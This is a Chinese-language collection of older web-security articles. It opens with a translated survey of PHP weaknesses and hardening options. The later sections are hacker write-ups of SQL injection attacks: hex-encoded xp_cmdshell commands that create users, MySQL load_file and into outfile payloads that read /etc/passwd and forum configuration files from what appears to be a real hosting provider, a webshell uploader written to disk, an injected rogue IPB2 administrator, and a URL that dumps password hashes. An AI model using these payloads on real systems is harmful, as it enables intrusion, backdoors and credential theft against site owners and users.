PHP中的变量不需要事先声明，它们会在第一次使用时自动创建，它们的类型也不需要指定，它们会根据上下文环境自动确定。从程序员的角度来看，这无疑是一种极其方便的处理方法。很显然，这也是快速开发语言的一个很有用的特点。一旦一个变量被创建了，就可以在程序中的任何地方使用。这个特点导致的结果就是程序员很少初始化变量，毕竟，当它们第一次创建时，他们是空的。
很显然，基于PHP的应用程序的主函数一般都是接受用户的输入（主要是表单变量，上载文件和Cookie等），然后对输入数据进行处理，然后把结果返回到客户端浏览器。为了使PHP代码访问用户的输入尽可能容易，实际上PHP是把这些输入数据看作全局变量来处理的。
例如：
<FORM METHOD="GET" ACTION="test.php">
<INPUT TYPE="TEXT" NAME="hello">
<INPUT TYPE="SUBMIT">
</FORM>
很显然，这会显示一个文本框和提交按钮。当用户点击提交按钮时，“test.php”会处理用户的输入，当“test.php”运行时，“$hello”会包含用户在文本框输入的数据。从这里我们应该看出，攻击者可以按照自己的意愿创建任意的全局变量。如果攻击者不是通过表单输入来调用“test.php”，而是直接在浏览器地址栏输入http://server/test.php?hello=hi&setup=no，那么，不止是“$hello”被创建，“$setup”也被创建了。
译者注：这两种方法也就是我们通常说的“POST”和“GET”方法。
下面的用户认证代码暴露了PHP的全局变量所导致的安全问题：

<?php
if ($pass == "hello")
$auth = 1;
...
if ($auth == 1)
echo "some important information";
?>
上面的代码首先检查用户的密码是否为“hello”，如果匹配的话，设置“$auth”为“1”，即通过认证。之后如果“$suth”为“1”的话，就会显示一些重要信息。
表面看起来是正确的，而且我们中有相当一部分人是这样做的，但是这段代码犯了想当然的错误，它假定“$auth”在没有设置值的时候是空的，却没有想到攻击者可以创建任何全局变量并赋值，通过类似“http://server/test.php?auth=1”的方法，我们完全可以欺骗这段代码，使它相信我们是已经认证过的。
因此，为了提高PHP程序的安全性，我们不能相信任何没有明确定义的变量。如果程序中的变量很多的话，这可是一项非常艰巨的任务。
一种常用的保护方式就是检查数组HTTP_GET[]或POST_VARS[]中的变量，这依赖于我们的提交方式（GET或POST）。当PHP配置为打开“track_vars”选项的话（这是缺省值），用户提交的变量就可以在全局变量和上面提到的数组中获得。
但是值得说明的是，PHP有四个不同的数组变量用来处理用户的输入。HTTP_GET_VARS数组用来处理GET方式提交的变量，HTTP_POST_VARS数组用于处理POST方式提交的变量，HTTP_COOKIE_VARS数组用于处理作为cookie头提交的变量，而对于HTTP_POST_FILES数组（比较新的PHP才提供），则完全是用户用来提交变量的一种可选方式。用户的一个请求可以很容易的把变量存在这四个数组中，因此一个安全的PHP程序应该检查这四个数组。
【远程文件】
PHP是一种具有丰富特性的语言，提供了大量的函数，使编程者实现某个功能很容易。但是从安全的角度来看，功能越多，要保证它的安全性就越难，远程文件就是说明这个问题的一个很好的例子：

<?php
if (!($fd = fopen("$filename", "r"))
echo("Could not open file: $filename<BR>\n");
?>
上面的脚本试图打开文件“$filename”，如果失败就显示错误信息。很明显，如果我们能够指定“$filename”的话，就能利用这个脚本浏览系统中的任何文件。但是，这个脚本还存在一个不太明显的特性，那就是它可以从任何其它WEB或FTP站点读取文件。实际上，PHP的大多数文件处理函数对远程文件的处理是透明的。
例如：
如果指定“$filename”为“http://target/scripts/..&Aacute;../winnt/system32/cmd.exe?/c+dir”
则上面的代码实际上是利用主机target上的unicode漏洞，执行了dir命令。

这使得支持远程文件的include()，require()，include_once()和require_once()在上下文环境中变得更有趣。这些函数主要功能是包含指定文件的内容，并且把它们按照PHP代码解释，主要是用在库文件上。
例如：
<?php
include($libdir . "/languages.php");
?>

上例中“$libdir”一般是一个在执行代码前已经设置好的路径，如果攻击者能够使得“$libdir”没有被设置的话，那么他就可以改变这个路径。但是攻击者并不能做任何事情，因为他们只能在他们指定的路径中访问文件languages.php（perl中的“Poison null byte”攻击对PHP没有作用）。但是由于有了对远程文件的支持，攻击者就可以做任何事情。例如，攻击者可以在某台服务器上放一个文件languages.php，包含如下内容：

<?php
passthru("/bin/ls /etc");
?>
然后把“$libdir”设置为“http://<evilhost>/”，这样我们就可以在目标主机上执行上面的攻击代码，“/etc”目录的内容作为结果返回到客户的浏览器中。
需要注意的是，攻击服务器（也就是evilhost）应该不能执行PHP代码，否则攻击代码会在攻击服务器，而不是目标服务器执行，如果你想了解具体的技术细节，请参考：http://www.securereality.com.au/sradv00006.txt

【文件上载】
PHP自动支持基于RFC 1867的文件上载，我们看下面的例子：
<FORM METHOD="POST" ENCTYPE="multipart/form-data">
<INPUT TYPE="FILE" NAME="hello">
<INPUT TYPE="HIDDEN" NAME="MAX_FILE_SIZE" VALUE="10240">
<INPUT TYPE="SUBMIT">
</FORM>
上面的代码让用户从本地机器选择一个文件，当点击提交后，文件就会被上载到服务器。这显然是很有用的功能，但是PHP的响应方式使这项功能变的不安全。当PHP第一次接到这种请求，甚至在它开始解析被调用的PHP代码之前，它会先接受远程用户的文件，检查文件的长度是否超过“$MAX_FILE_SIZE variable”定义的值，如果通过这些测试的话，文件就会被存在本地的一个临时目录中。
因此，攻击者可以发送任意文件给运行PHP的主机，在PHP程序还没有决定是否接受文件上载时，文件已经被存在服务器上了。
这里我就不讨论利用文件上载来对服务器进行DOS攻击的可能性了。
让我们考虑一下处理文件上载的PHP程序，正如我们上面说的，文件被接收并且存在服务器上（位置是在配置文件中指定的，一般是/tmp），扩展名一般是随机的，类似“phpxXuoXG”的形式。PHP程序需要上载文件的信息以便处理它，这可以通过两种方式，一种方式是在PHP 3中已经使用的，另一种是在我们对以前的方法提出安全公告后引入的。
但是，我们可以肯定的说，问题还是存在的，大多数PHP程序还是使用老的方式来处理上载文件。PHP设置了四个全局变量来描述上载文件，比如说上面的例子：
$hello = Filename on local machine (e.g "/tmp/phpxXuoXG")
$hello_size = Size in bytes of file (e.g 1024)
$hello_name = The original name of the file on the remote system (e.g "c:\temp\hello.txt")
$hello_type = Mime type of uploaded file (e.g "text/plain")

然后PHP程序开始处理根据“$hello”指定的文件，问题在于“$hello”不一定是一个PHP设置的变量，任何远程用户都可以指定它。如果我们使用下面的方式：
http://vulnhost/vuln.php?hello=/etc/passwd&hello_size=10240&hello_type=text/plain&hello_name=hello.txt

就导致了下面的PHP全局变量（当然POST方式也可以（甚至是Cookie））：

$hello = "/etc/passwd"
$hello_size = 10240
$hello_type = "text/plain"
$hello_name = "hello.txt"

上面的表单数据正好满足了PHP程序所期望的变量，但是这时PHP程序不再处理上载的文件，而是处理“/etc/passwd”（通常会导致内容暴露）。这种攻击可以用于暴露任何敏感文件的内容。

我在前面已经说了，新版本的PHP使用HTTP_POST_FILES[]来决定上载文件，同时也提供了很多函数来解决这个问题，例如有一个函数用来判断某个文件是不是实际上载的文件。这些函数很好的解决了这个问题，但是实际上肯定有很多PHP程序仍然使用旧的方法，很容易受到这种攻击。

作为文件上载的攻击方法的一个变种，我们看一下下面的一段代码：
<?php
if (file_exists($theme)) // Checks the file exists on the local system (no remote files)
include("$theme");
?>
如果攻击者可以控制“$theme”的话，很显然它可以利用“$theme”来读取远程系统上的任何文件。攻击者的最终目标是在远程服务器上执行任意指令，但是他无法使用远程文件，因此，他必须得在远程服务器上创建一个PHP文件。这乍看起来好象是不可能的，但是文件上载帮了我们这个忙，如果攻击者先在本地机器上创建一个包含PHP代码的文件，然后创建一个包含名为“theme”的文件域的表单，最后用这个表单通过文件上载把创建的包含PHP代码的文件提交给上面的代码，PHP就会把攻击者提交的文件保存起来，并把“$theme”的值设置为攻击者提交的文件，这样file_exists()函数会检查通过，攻击者的代码也将执行。
获得执行任意指令的能力之后，攻击者显然想提升权限或者是扩大战果，而这又需要一些服务器上没有的工具集，而文件上载又一次帮了我们这个忙。攻击者可以使用文件上载功能上载工具，把她们存在服务器上，然后利用他们执行指令的能力，使用chmod()改变文件的权限，然后执行。例如：攻击者可以绕过防火墙或IDS上载一个本地root攻击程序，然后执行，这样就获得了root权限。

【库文件】
正如我们前面讨论的那样，include()和require()主要是为了支持代码库，因为我们一般是把一些经常使用的函数放到一个独立的文件中，这个独立的文件就是代码库，当需要使用其中的函数时，我们只要把这个代码库包含到当前的文件中就可以了。
最初，人们开发和发布PHP程序的时候，为了区别代码库和主程序代码，一般是为代码库文件设置一个“.inc”的扩展名，但是他们很快发现这是一个错误，因为这样的文件无法被PHP解释器正确解析为PHP代码。如果我们直接请求服务器上的这种文件时，我们就会得到该文件的源代码，这是因为当把PHP作为Apache的模块使用时，PHP解释器是根据文件的扩展名来决定是否解析为PHP代码的。扩展名是站点管理员指定的，一般是“.php”， “.php3”和“.php4”。如果重要的配置数据被包含在没有合适的扩展名的PHP文件中，那么远程攻击者很容易得到这些信息。
最简单的解决方法就是给每个文件都指定一个PHP文件的扩展名，这样可以很好的防止泄露源代码的问题，但是又产生了新的问题，通过请求这个文件，攻击者可能使本该在上下文环境中运行的代码独立运行，这可能导致前面讨论的全部攻击。
下面是一个很明显的例子：
In main.php:
<?php
$libDir = "/libdir";
$langDir = "$libdir/languages";
...
include("$libdir/loadlanguage.php":
?>
In libdir/loadlanguage.php:
<?php
...
include("$langDir/$userLang");
?>
当“libdir/loadlanguage.php”被“main.php”调用时是相当安全的，但是因为“libdir/loadlanguage”具有“.php”的扩展名，因此远程攻击者可以直接请求这个文件，并且可以任意指定“$langDir”和“$userLang”的值。
【Session文件】
PHP 4或更新的版本提供了对sessions的支持，它的主要作用是在PHP程序中保存页与页之间的状态信息。例如，当一个用户登陆进入网站，他登陆了这个事实以及谁登陆进入这个网站都被保存在session中，当他在网站中到处浏览时，所有的PHP代码都可以获得这些状态信息。
事实上，当一个session启动时（实际上是在配置文件中设置为在第一次请求时自动启动），就会生成一个随机的“session id”，如果远程浏览器总是在发送请求时提交这个“session id”的话，session就会一直保持。这通过Cookie很容易实现，也可以通过在每页提交一个表单变量（包含“session id”）来实现。PHP程序可以用session注册一个特殊的变量，它的值会在每个PHP脚本结束后存在session文件中，也会在每个PHP脚本开始前加载到变量中。下面是一个简单的例子：
<?php
session_destroy(); // Kill any data currently in the session
$session_auth = "shaun";
session_register("session_auth"); // Register $session_auth as a session variable
?>
新版本的PHP都会自动把“$session_auth”的值设置为“shaun”，如果它们被修改的话，以后的脚本都会自动接受修改后的值，这对无状态的Web来说的确是种很不错的工具，但是我们也应该小心。
一个很明显的问题就是确保变量的确来自session，例如，给定上面的代码，如果后续的脚本是下面这样的话：
<?php
if (!empty($session_auth))
// Grant access to site here
?>
上面的代码假定如果“$session_auth”被置位的话，就是从session，而不是从用户输入来置位的，如果攻击者通过表单输入来置位的话，他就可以获得对站点的访问权。注意攻击者必须在session注册该变量之前使用这种攻击方法，一旦变量被放进了session，就会覆盖任何表单输入。
Session数据一般是保存在文件中（位置是可配置的，一般是“/tmp”），文件名一般是类似“sess_<session id>”的形式，这个文件包含变量名称，变量类型，变量值和一些其它的数据。在多主机系统中，因为文件是以运行Web服务器的用户身份（一般是nobody）保存的，因此恶意的站点拥有者就可以通过创建一个session文件来获得对其它站点的访问，甚至可以检查session文件中的敏感信息。
Session机制也为攻击者把自己的输入保存在远程系统的文件中提供了另一个方便的地方，对于上面的例子来说，攻击者需要在远程系统放置一个包含PHP代码的文件，如果不能利用文件上载做到的话，他通常会利用session为一个变量按照自己的意愿赋一个值，然后猜测session文件的位置，而他知道文件名是“php<session id>”，所以只需猜测目录，而目录一般就是“/tmp”。
另外，攻击者可以任意指定“session id”（例如“hello”），然后用这个“session id”创建一个session文件（例如“/tmp/sess_hello”），但是“session id”只能是字母和数字组合。
【数据类型】
PHP具有比较松散的数据类型，变量的类型依赖于它们所处的上下文环境。例如：“$hello”开始是字符串变量，值为“”，但是在求值时，就变成了整形变量“0”，这有时可能会导致一些意想不到的结果。如果“$hello”的值为“000”还是为“0”是不同的，empty()返回的结果也不会为真。
PHP中的数组是关联数组，也就是说，数组的索引是字符串型的。这意味着“$hello["000"]”和“$hello[0]”也是不同的。
开发程序的时候应该仔细地考虑上面的问题，例如，我们不应该在一个地方测试某个变量是否为“0”，而在另外的地方使用empty()来验证。
【容易出错的函数】
我们在分析PHP程序中的漏洞时，如果能够拿到源代码的话，那么一份容易出错的函数列表则是我们非常需要的。如果我们能够远程改变这些函数的参数的话，那么我们就很可能发现其中的漏洞。下面是一份比较详细的容易出错的函数列表：
<PHP代码执行>
require()：读取指定文件的内容并且作为PHP代码解释
include()：同上
eval()：把给定的字符串作为PHP代码执行
preg_replace()：当与“/e”开关一起使用时，替换字符串将被解释为PHP代码
<命令执行>
exec()：执行指定的命令，返回执行结果的最后一行
passthru()：执行指定命令，返回所有结果到客户浏览器
``：执行指定命令，返回所有结果到一个数组
system()：同passthru()，但是不处理二进制数据
popen()：执行指定的命令，把输入或输出连接到PHP文件描述符
<文件泄露>
fopen()：打开文件，并对应一个PHP文件描述符
readfile()：读取文件的内容，然后输出到客户浏览器
file()：把整个文件内容读到一个数组中
译者注：其实这份列表还不是很全，比如“mail()”等命令也可能执行命令，所以需要自己补充一下。
【如何增强PHP的安全性】
我在上面介绍的所有攻击对于缺省安装的PHP 4都可以很好的实现，但是我已经重复了很多次，PHP的配置非常灵活，通过配置一些PHP选项，我们完全可能抵抗其中的一些攻击。下面我按照实现的难度对一些配置进行了分类：
*低难度
**中低难度
***中高难度
****高难度
上面的分类只是个人的看法，但是我可以保证，如果你使用了PHP提供的所有选项的话，那么你的PHP将是很安全的，即使是第三方的代码也是如此，因为其中很多功能已经不能使用。
**** 设置“register_globals”为“off”
这个选项会禁止PHP为用户输入创建全局变量，也就是说，如果用户提交表单变量“hello”，PHP不会创建“$ hello”，而只会创建“HTTP_GET/POST_VARS['hello']”。这是PHP中一个极其重要的选项，关闭这个选项，会给编程带来很大的不便。
*** 设置“safe_mode”为“on”
打开这个选项，会增加如下限制：
1． 限制哪个命令可以被执行
2． 限制哪个函数可以被使用
3． 基于脚本所有权和目标文件所有权的文件访问限制
4． 禁止文件上载功能
这对于ISP来说是一个伟大的选项，同时它也能极大地改进PHP的安全性。
** 设置“open_basedir”
这个选项可以禁止指定目录之外的文件操作，有效地消除了本地文件或者是远程文件被include()的攻击，但是仍需要注意文件上载和session文件的攻击。
** 设置“display_errors”为“off”，设置“log_errors”为“on”
这个选项禁止把错误信息显示在网页中，而是记录到日志文件中，这可以有效的抵制攻击者对目标脚本中函数的探测。
* 设置“allow_url_fopen”为“off”
这个选项可以禁止远程文件功能，极力推荐
好了，文章到此为止了，如果你想了解一些其它的相关信息，请参考原文：
http://www.securereality.com.au/studyinscarlet.txt
<全文完>


饶过'（单引号）限制继续注入

信息来源：安全天使
本文作者：angel
    我想不少人都看过一些关于SQL Injection针对SQL Server攻击的文章，都是因为变量过滤不足甚至没有过滤而构造畸形SQL语句注入的，包括我写的那篇《SQL Injection的实现与应用》也是这样的例子，因为没有碰到任何的过滤，所以使我们相当轻松就注入成功了，如下：

http://www.ilikeplmm.com/show.asp?id=1;exec master.dbo.xp_cmdshell 'net user angel pass /add';--

    这往往给大家造成误解，认为只要变量过滤了'就可以防止SQL Injection攻击，这种意识为大量程序可以注入埋下祸根，其实仅仅过滤'是不够的，在'被过滤的情况下我们照样玩，看下面语句：

http://www.ilikeplmm.com/show.asp?id=1;declare%20@a%20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a;--

    是不是跟上面的那句有很大区别？可是效果完全是一样的。其实这些都是SQL语句。

0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400
    这句是“net user angel pass /add”的16进制格式。了解SQL的朋友就容易明白，先声明一个变量a，然后把我们的指令赋值给a，然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下：
declare @a sysname
select @a=<command>
exec master.dbo.xp_cmdshell @a
解决办法：
    过滤变量，限制只允许输入特定字符。比如对于数字类型的变量就限制只能输入数字类型的数据。具体就不说了。这完全是程序作者自由发挥了。


Advanced SQL Injection with MySQL

文/图 安全天使·angel[BST]
前言
    我的《SQL Injection with MySQL》（《黑客防线》7月的专题）已经对MySQL的注入有了比较全面的介绍了，但是有一个危害相当大的函数，我并没有在文中提及，因为如果能灵活应用这个函数，那PHP甚至服务器的安全性均会大打折扣，由于《SQL Injection with MySQL》的发表时间是在暑假期间，考虑到很多新手、学生和品德败坏的人乱用，所以我并没有把这个写在该文里，其实本文在5月初已写完。专题发表后，很多人已经陆续转到PHP+MYSQL注入的研究，很多新技术将会陆续挖掘出来，我们所掌握这方面未公开的高级技巧也会陆续公布出来。至于比较基础的东西，本文就不再提了。
详细
    我们知道，在SQL语句中，可以使用各种MySQL内置的函数，经常使用的就是DATABASE()、USER()、SYSTEM_USER()、SESSION_USER()、CURRENT_USER()这些函数来获取一些系统的信息，还有一个应用得比较多的函数，就是load_file()，该函数的作用是读入文件，并将文件内容作为一个字符串返回。
    看到这里，应该可以想到我们可以做什么了，就是读取一些机密文件，但是也是有条件限制的：
欲读取文件必须在服务器上
必须指定文件完整的路径
必须有权限读取并且文件必须完全可读
欲读取文件必须小于 max_allowed_packet
    如果该文件不存在，或因为上面的任一原因而不能被读出，函数返回空。比较难满足的就是权限，在windows下，如果NTFS设置得当，是不能读取相关的文件的，当遇到只有administrators才能访问的文件，users就别想load_file出来。
    在实际的注入中，我们有两个难点需要解决：
绝对物理路径
构造有效的畸形语句
    在很多PHP程序中，当提交一个错误的Query，如果display_errors = on，程序就会暴露WEB目录的绝对路径，只要知道路径，那么对于一个可以注入的PHP程序来说，整个服务器的安全将受到严重的威胁。构造语句已经是小意思了。
利用
    我们假设一个程序的SQL语句如下：
SELECT * FROM article WHERE articleid=$id
    注：当前条件：magic_quotes_gpc = off，c:/boot.ini可读。
    此时，我们构造$id为：
-1 union select 1,1,1,1,load_file('c:/boot.ini')
    我们的Query就变成：
SELECT * FROM article WHERE articleid=-1 union select 1,1,1,1,load_file('c:/boot.ini')
    程序会把c:/boot.ini内容老老实实显示出来，但是现在magic_quotes_gpc = off的主机少之又少，怎么才能构造出没有引号的语句呢？看过《SQL Injection with MySQL》的朋友肯定知道用char()函数或者把字符转换成16进制，没错，就是它们。
    注：当前条件：magic_quotes_gpc = on，c:/boot.ini可读。
    我们构造$id为：
-1 union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))
    “char(99,58,47,98,111,111,116,46,105,110,105)”就是“c:/boot.ini”的ASCII代码，我们的Query就变成：
SELECT * FROM article WHERE articleid=-1 union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))
    我们也可以成功的读取boot.ini文件，还有把字符串转换为16进制的，“c:/boot.ini”的16进制是“0x633a2f626f6f742e696e69”，所以上面的语句可以是这样：
SELECT * FROM article WHERE articleid=-1 union select 1,1,1,load_file(0x633a2f626f6f742e696e69)
    比较短了，看各人喜好了，大家可以在phpmyadmin或mysql>下输入以下查询慢慢研究。
SELECT load_file([string])
    当然，在实际应用中，由于种种条件限制，文件的内容未必会显示出来，我们也可以用into outfile把文件导出。大家已经知道如何利用了，我也不说细节了，看一个实例说明一切。
实例
    www.***host.cn是我国著名的FreeBSD主机提供商，我们就拿他来测试，因为它的论坛采用的是calendar.php存在问题的VBB论坛，我就不需要到处去找有漏洞的站点了（虽然到处都是）。这是一次完整的安全测试。仅仅获取信息，我并未进入服务器。
    这里补充说明一点关于VBB的根目录下global.php的一段代码，如下：
// get rid of slashes in get / post / cookie
        data
function stripslashesarray (&$arr) {
while
        (list($key,$val)=each($arr)) {
if ($key!="templatesused" and
        $key!="argc" and $key!="argv") {
if (is_string($val) AND
        (strtoupper($key)!=$key OR ("".intval($key)=="$key")))
        {
$arr["$key"] = stripslashes($val);
} else if
        (is_array($val) AND ($key == 'HTTP_POST_VARS' OR $key == 'HTTP_GET_VARS'
        OR strtoupper($key)!=$key)) {
$arr["$key"] =
        stripslashesarray($val);
}
}
}
return
        $arr;
}
if (get_magic_quotes_gpc() and is_array($GLOBALS))
        {
if (isset($attachment)) {
$GLOBALS['attachment'] =
        addslashes($GLOBALS['attachment']);
}
if (isset($avatarfile))
        {
$GLOBALS['avatarfile'] =
        addslashes($GLOBALS['avatarfile']);
}
$GLOBALS =
        stripslashesarray($GLOBALS);
}
set_magic_quotes_runtime(0);

    这段代码的作用就是如果magic_quotes_gpc打开，就去掉所有特殊字符的前面的转义字符，所以，不管php.ini里magic_quotes_gpc的状态如何，我们输入的单引号都没有影响的，大家可以放心注入。呵呵。
    我们知道，提交：
/calendar.php?action=edit&eventid=1 UNION SELECT 1,1,1,1,username,password FROM user WHERE userid=1
    是可以获取用户名和密码MD5散列的，但是由于特殊原因，并没有显示出来，但凭我的经验，知道并没有构造错，所以我们可以读取并导出成文件。
    因为事先我无意中访问到了含有phpinfo()的文件，所以知道了WEB的绝对路径，从访问站点的结果，发现一个下载系统是生成HTML文件的，如果那个目录没有可写权限，是不能生成HTML文件的，不过这一切都不是本文的重点，我们现在掌握如下信息：
WEB绝对路径：/home/4ngel
可写目录路径：/home/4ngel/soft/
magic_quotes_gpc = on
    和主机root相比，论坛的admin根本就不算什么，我对论坛admin也不感兴趣，我们要读取论坛的配置文件还有/etc/passwd，知道MySQL的连接信息，可以从这里入手，写webshell或其他的东西，知道/etc/passwd我们可以跑密码。直接从ssh上去。
    VBB论坛的配置文件在/home/4ngel/forum/admin/config.php,转换成ASCII代码，提交：
calendar.php?action=edit&eventid=1 UNION SELECT 1,1,1,1,1,load_file(char(47,104,111,109,101,47,52,110,103,101,108,47,102,111,114,117,109,47,97,100,109,105,110,47,99,111,110,102,105,103,46,112,104,112)) FROM user WHERE userid=1 into outfile '/home/4ngel/soft/cfg.txt'
    呵呵，记得加一个where来定一个条件，否则如果论坛用户很多，那么导出的文件会相当大。或者干脆指定$eventid为一个不存在的值，就不用where了，就像这样：
calendar.php?action=edit&eventid=-1 UNION SELECT 1,1,1,1,1,load_file(char(47,104,111,109,101,47,52,110,103,101,108,47,102,111,114,117,109,47,97,100,109,105,110,47,99,111,110,102,105,103,46,112,104,112)) FROM user into outfile '/home/4ngel/soft/cfg.txt'
    /etc/passwd转换成ASCII代码，提交：
calendar.php?action=edit&eventid=-1 UNION SELECT 1,1,1,1,1, load_file (char(47,101,116,99,47,112,97,115,115,119,100)) FROM user into outfile '/home/4ngel/soft/etcpwd.txt'
    注意看到论坛的顶部，会出现下面的错误提示：
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/4ngel/forum/admin/db_mysql.php on line 154
    经验告诉我们，文件导出成功了，提交：
http://www.xxxhost.cn/soft/cfg.txt
http://www.xxxhost.cn/soft/etcpwd.txt
    内容哗啦啦的出来了，而黑夜和猪蛋的他们入侵灰色的时候，一个个显示密码，欺骗，登陆后台，上传后门，读取config.php，一连串的步骤，我一个load_file()就搞定了。是不是危害很大？
我记得在某个群里讨论到大家都是通过搞9****.net这个站，而进入黑白服务器的，没有办法对黑白横冲直闯，只得来曲线的。用load_file()函数，知道了某些信息就可以进入黑白所在的服务器，过程和上面的一样，利用show.php的漏洞，直接load_file出程序的配置文件，知道了mysql的信息，远程连接，写数据库导出文件，很容易获得服务器admin。
后记
    由于危害太大，我一直都不太敢发布，相信国内也有人知道的。只是不公开而已。经过再三考虑还是决定发布了，希望大家掌握了以后，不要对国内的站点做任何具有破坏性的操作。谢谢合作！


PHP+MySQL注入导出文件的新发现 附带IPB2的漏洞利用

文章作者：安全天时·angel[BST]
    我前段时间写了一篇《MySQL注入中导出字段内容的研究——通过注入导出WebShell》（http://www.4ngel.net/article/37.htm），是查询数据然后在生成文件的，现在我发现其实不少PHP程序，比如IPB就是把数据处理过了，再插入数据库，一般是htmlspecialchars()之后，插入数据，所以利用该文的方法，就行不通了，即使把webshell的代码插入数据库，生成出来的也是被处理过的代码。用不了。
    近段时间在测试一个PHP网站的时候，由于在load_file的时候，看不到文件的内容，所以我就怀疑是不是字段的原因，因为那些全部是int类型的，还有少数是VARCHAR的，我当初以为是因为这个原因，其实后来进入以后才发现是没有FILE的权限，我不断的换URL提交（注意，写文章的时候，该网站已经修补了漏洞，现在是本地演示）：
http://localhost/111/show.php?id=1 and 1=2 union select 1,1, char(47,104,111,109,101,47,119,119,119,47,99,111,110,102,105,103,46,112,104,112)

    屏幕上显示了：
/home/www/config.php

    路径没错啊，文件也存在啊，难道没有权限？暂时放下这个，这个站点有可写的目录，是ipb2的论坛，/ipb2/uploads这个目录是要设置成可写的，上传附件才能正常使用，我就想利用插数据，导出文件的方法，因为我看了phpinfo()，magic_quotes_gpc 是关闭的，所以用into outfile没有问题，然后在本地测试了一下，发现提交的代码：
<?copy($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);?>

    变成了：
<?copy($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);?>

    多提交几个地方，均被做了处理，看来这样我的这个思路又不行了，突然想到刚才看路径的时候，能用char()函数输出字符串，那我能不能直接写上传代码？
<?copy($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);?>

    这个转换为10进制是这样的：
char(60,63,99,111,112,121,40,36,95,70,73,76,69,83,91,77,121,70,105,108,101,93,91,116,109,112,95,110,97,109,101,93,44,36,95,70,73,76,
69,83,91,77,121,70,105,108,101,93,91,110,97,109,101,93,41,59,63,62)

    我马上提交：
http://localhost/111/show.php?id=1 and 1=2 union select 1,1, char(60,63,99,111,112,121,40,36,95,70,73,76,69,83,91,77,121,70,105,108,101,93,91,116,109,112,95,110,97,109,101,93,44,36,95,70,73,76,
69,83,91,77,121,70,105,108,101,93,91,110,97,109,101,93,41,59,63,62)

    屏幕并没有显示出我们想要的东西，我查看源代码，发现
<?copy($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);?>

    这个代码老老实实躺在里面，如图：
    之所以看不见，是因为浏览器把“<”和“>”之间的东西当成HTML代码解析了，这么说是可行的！这样的好处和插数据，导出文件相比好处在于：
不用插入数据，因此不用考虑数据类型和长度，也不怕做处理。
只用知道一个数据表就可以使用into outfile了，无需知道字段。
    因为之前，我猜到一个user表，我也不用去知道字段了，有字段作为查询条件只是为了防止数据库很大，导出所有数据时很慢的情况，我现在马上就提交：
http://localhost/111/show.php?id=1 and 1=2 union select 1,1, char(60,63,99,111,112,121,40,36,95,70,73,76,69,83,91,77,121,70,105,108,101,93,91,116,109,112,95,110,97,109,101,93,44,36,95,70,73,76,
69,83,91,77,121,70,105,108,101,93,91,110,97,109,101,93,41,59,63,62) from user into outfile '/home/www/ipb2/uploads/upload.php'/*

    马上查看，如图：

    注意：因为我这里说是用char()这个函数写的。所以就用这个来说明了。既然能用单引号就没必要用CHAR函数了写东西了。可以直接这样：
http://localhost/111/show.php?id=1 and 1=2 union select 1,1, '<%3Fcopy(%24_FILES[MyFile][tmp_name],%24_FILES[MyFile][name]);%3F>' from user into outfile '/home/www/ipb2/uploads/upload.php'/*

    其中：?=%3F、$=%24，注意编码，晕……我怎么觉得这篇文章有点多余啊？？都写到这里了，继续吧！我只是为了告诉大家可以不用插数据了。5555，就这个意思而已也写了这么多，我发现我这么久没写文章，逻辑性变差了，没有条理了。各位将就点吧。
    做个表单在本地提交：
<form ENCTYPE="multipart/form-data"
        ACTION="http://nothing/upload.php"
        METHOD="POST">
< input NAME="MyFile" TYPE="file">
<
        input VALUE="提交" TYPE="submit">
< /form>

    传了一个phpspy上去，呵呵，phpmyadmin的密码知道了，马上查看了表前缀等相关信息，执行SQL语句：
INSERT INTO `ibf_members` VALUES ('999999', 'angel', 4, '', '4ngel@21cn.com', 1102196142, '0', 0, 'Administrator', 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1102228365, 1102324215, 0, '0', 0, 0, '0', '0', 0, '0', 0, 0, 0, '2a841e6789e0bcee72d86cd911b9405d', 0);

    这样就添加了一个IPB2论坛的管理员用户名是“angel”，密码是“thepass”，呵呵。
    到这里还没有说IPB2的漏洞呢，现在补充一下怎么利用，因为这个测试的站点就是用最新的IPB2.0.2，所以顺便把我测试的结果写下来。真是不好意思。我通过IPB2的注入又进入了一次。
    看了看IPB2安全公告：
http:/nothing/bbs/index.php?act=Post&CODE=02&f=2&t=1&qpid=[sql_injection]

    得知qpid这个变量是没有过滤的，我先提交：
http:/nothing/bbs/index.php?act=Post&CODE=02&f=2&t=1&qpid=1’

    返回：
mySQL query error: select p.*,t.forum_id FROM ibf_posts p LEFT JOIN ibf_topics t ON (t.tid=p.topic_id)
WHERE pid IN (1')
mySQL error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 2
mySQL error code:
Date: Monday 06th of December 2004 09:14:34 PM

    看到了吗？执行了什么SQL语句，都反馈回来了。从这里可以看出’（单引号）已经被过滤了，转为10进制，变成'了，所以用into outfile没有办法导出文件。这里如果构造出有效的语句，也只能得到敏感信息了。
mySQL query error: select p.*,t.forum_id FROM ibf_posts p LEFT JOIN ibf_topics t ON (t.tid=p.topic_id)
WHERE pid IN (1')

    从这里看到SQL语句后。我再试着构造语句，利用union联合查询，可以得到任意数据库、任意数据表、任意字段的内容。提交：
http://localhost/ipb2/index.php?act=Post&CODE=02&f=2&t=1&qpid=1)%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,name,12,13,14,15,16,17,18,19,1%20from%20ibf_members%20where%20id=1%20/*

    可以看到用户id为1的用户名。
http://localhost/ipb2/index.php?act=Post&CODE=02&f=2&t=1&qpid=1)%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,member_login_key,12,13,14,15,16,17,18,19,1%20from%20ibf_members%20where%20id=1%20/*

    可以看到用户id为1的密码MD5散列。
